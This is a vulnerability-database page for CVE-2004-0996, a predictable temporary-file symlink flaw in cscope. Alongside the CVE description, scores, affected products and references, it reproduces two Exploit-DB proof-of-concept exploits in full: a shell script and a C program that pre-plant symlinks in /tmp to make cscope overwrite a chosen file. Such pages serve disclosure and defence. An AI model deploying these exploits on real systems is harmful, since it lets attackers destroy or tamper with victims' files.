CVE-2004-0996 : Detail

CVE-2004-0996

0.04%V3
Local
2004-12-01
04h00 +00:00
2017-07-10
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

main.c in cscope 15-4 and 15-5 creates temporary files with predictable filenames, which allows local users to overwrite arbitrary files via a symlink attack.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 24749

Publication date : 2004-11-16 23h00 +00:00
Author : Gangstuck
EDB Verified : Yes

source: https://www.securityfocus.com/bid/11697/info Cscope creates temporary files in an insecure way. A design error causes the application to fail to verify the presence of a file before writing to it. During execution, the utility reportedly creates temporary files in the system's temporary directory, '/tmp', with predictable names. This allows attackers to create malicious symbolic links that Cscope will write to when an unsuspecting user executes it. Attackers may leverage these issues to overwrite arbitrary files with the privileges of an unsuspecting user that activates the vulnerable application. Versions up to and including Cscope 15.5 are reported vulnerable. #!/bin/sh ################################################################# # RXcscope_proof.sh # brute force case baby # cscope advisory and exploit by Gangstuck / Psirac <[email protected]> ################################################################# HOWM=30 CURR=`ps | grep ps | awk '{print $1}'` NEXT=`expr $CURR + 5 + $HOWM \* 2 + 1` LAST=`expr $NEXT + $HOWM` echo -e "\n--= Cscope Symlink Vulnerability Exploitation =--\n"\ " [versions 15.5 and minor]\n"\ " Gangstuck / Psirac\n"\ " <[email protected]>\n\n" if [ $# -lt 1 ]; then echo "Usage: $0 <file1> [number_of_guesses]" exit 1 fi rm -f /tmp/cscope* echo "Probed next process id ........ [${NEXT}]" while [ ! "$NEXT" -eq "$LAST" ]; do ln -s $1 /tmp/cscope${NEXT}.1; NEXT=`expr $NEXT + 1` ln -s $1 /tmp/cscope${NEXT}.2; NEXT=`expr $NEXT + 1` done
Exploit Database EDB-ID : 24750

Publication date : 2004-11-16 23h00 +00:00
Author : Gangstuck
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/11697/info Cscope creates temporary files in an insecure way. A design error causes the application to fail to verify the presence of a file before writing to it. During execution, the utility reportedly creates temporary files in the system's temporary directory, '/tmp', with predictable names. This allows attackers to create malicious symbolic links that Cscope will write to when an unsuspecting user executes it. Attackers may leverage these issues to overwrite arbitrary files with the privileges of an unsuspecting user that activates the vulnerable application. Versions up to and including Cscope 15.5 are reported vulnerable. /* RXcscope exploit version 15.5 and minor */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BSIZE 64 int main(int ac, char *av[]) { pid_t cur; u_int i=0, lst; char buffer[BSIZE + 1]; fprintf(stdout, "\n --[ Cscope Exploit ]--\n"\ " version 15.5 and minor \n" \ " Gangstuck / Psirac\n" \ " <[email protected]>\n\n"); if (ac != 3) { fprintf(stderr, "Usage: %s <target> <max file creation>\n", av[0]); return 1; } cur=getpid(); lst=cur+atoi(av[2]); fprintf(stdout, " -> Current process id is ..... [%5d]\n" \ " -> Last process id is ........ [%5d]\n", cur, lst); while (++cur != lst) { snprintf(buffer, BSIZE, "%s/cscope%d.%d", P_tmpdir, cur, (i==2) ? --i : ++i); symlink(av[1], buffer); } return 0; }

Products Mentioned

Configuraton 0

Cscope>>Cscope >> Version 13.0

    Cscope>>Cscope >> Version 15.1

      Cscope>>Cscope >> Version 15.3

        Cscope>>Cscope >> Version 15.4

          Cscope>>Cscope >> Version 15.5

            Configuraton 0

            Debian>>Debian_linux >> Version 3.0

            Debian>>Debian_linux >> Version 3.0

              Debian>>Debian_linux >> Version 3.0

                Debian>>Debian_linux >> Version 3.0

                  Debian>>Debian_linux >> Version 3.0

                    Debian>>Debian_linux >> Version 3.0

                      Debian>>Debian_linux >> Version 3.0

                        Debian>>Debian_linux >> Version 3.0

                          Debian>>Debian_linux >> Version 3.0

                            Debian>>Debian_linux >> Version 3.0

                              Debian>>Debian_linux >> Version 3.0

                                Debian>>Debian_linux >> Version 3.0

                                  Gentoo>>Linux >> Version *

                                  Sco>>Unixware >> Version 7.1.1

                                    Sco>>Unixware >> Version 7.1.3

                                      Sco>>Unixware >> Version 7.1.4

                                        References

                                        http://www.vupen.com/english/advisories/2007/2732
                                        Tags : vdb-entry, x_refsource_VUPEN
                                        http://www.securityfocus.com/archive/1/381611
                                        Tags : mailing-list, x_refsource_BUGTRAQ
                                        http://www.securityfocus.com/archive/1/381443
                                        Tags : mailing-list, x_refsource_BUGTRAQ
                                        http://www.securityfocus.com/bid/11697
                                        Tags : vdb-entry, x_refsource_BID
                                        http://www.debian.org/security/2004/dsa-610
                                        Tags : vendor-advisory, x_refsource_DEBIAN
                                        http://marc.info/?l=bugtraq&m=110133485519690&w=2
                                        Tags : mailing-list, x_refsource_BUGTRAQ
                                        http://www.securityfocus.com/archive/1/381506
                                        Tags : mailing-list, x_refsource_BUGTRAQ
                                        http://www.securityfocus.com/bid/25159
                                        Tags : vdb-entry, x_refsource_BID
                                        http://www.gentoo.org/security/en/glsa/glsa-200412-11.xml
                                        Tags : vendor-advisory, x_refsource_GENTOO
                                        http://secunia.com/advisories/26235
                                        Tags : third-party-advisory, x_refsource_SECUNIA